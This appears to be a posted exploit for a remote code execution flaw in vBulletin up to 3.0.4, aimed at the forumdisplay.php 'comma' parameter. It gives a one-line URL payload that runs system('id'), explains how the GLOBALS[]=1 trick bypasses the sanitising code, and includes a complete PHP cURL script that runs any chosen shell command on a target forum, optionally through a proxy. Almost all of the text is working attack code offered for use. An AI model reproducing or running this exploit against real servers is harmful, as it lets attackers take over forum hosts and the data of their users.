vBulletin <= 3.0.4 "forumdisplay.php" Code Execution

Saturday, August 6, 2011

Exploit:
----------------
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."
Conditions:
----------------
1st condition     : $vboptions['showforumusers'] == True , the admin must set
            showforumusers ON in vbulletin options.
2nd condition     : $bbuserinfo['userid'] == 0 , you must be an visitor/guest.
3rd condition     : $DB_site->fetch_array($forumusers) == True , when you
            visit the forums, it  must has at least one user show the forum.
4th condition     : magic_quotes_gpc must be OFF
SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
            init.php by secret array GLOBALS[]=1 ;)))


/**************************************************************
#
# vbulletin 3.0.x execute command by AL3NDALEEB al3ndaleeb[at]uk2.net
#
# First condition : $vboptions['showforumusers'] == True , the admin must set
# showforumusers ON in vbulletin options.
# Second condition: $bbuserinfo['userid'] == 0 , you must be an visitor/guest .
# Third condition : $DB_site->fetch_array($forumusers) == True , when you
# visit the forums, it must has at least
# one user show the forum.
# Fourth condition: magic_quotes_gpc must be OFF
#
# Vulnerable Systems:
# vBulletin version 3.0 up to and including version 3.0.4
#
# Immune systems:
# vBulletin version 3.0.5
# vBulletin version 3.0.6
#
**************************************************************/
 
if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}
 
if ($argv[3]){
$url = $argv[1];
$forumid = intval($argv[2]);
$command = $argv[3];
}
else {
echo "vbulletin 3.0 > 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n";
echo "Usage: ".$argv[0]." [proxy]\n\n";
echo " url to vbulletin site (ex: http://www.vbulletin.com/forum/)\n";
echo " forum id\n";
echo " command to execute on server (ex: 'ls -la')\n";
echo "[proxy] optional proxy url (ex: http://proxy.ksa.com.sa:8080)\n\n";
echo "ex :\n";
echo "\tphp vb30x.php http://www.vbulletin.com/forum/ 2 \"ls -al\"";
 
exit;
}
 
if ($argv[4])
$proxy = $argv[4];
 
 
 
$action = 'forumdisplay.php?GLOBALS[]=1&f='.$forumid.'&comma=".`echo _START_`.`'.$command.'`.`echo _END_`."';
 
$ch=curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.'/'.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
$res = substr($res, strpos($res, '_START_')+7);
$res = substr($res,0, strpos($res, '_END_'));
echo $res;
 
 
?>

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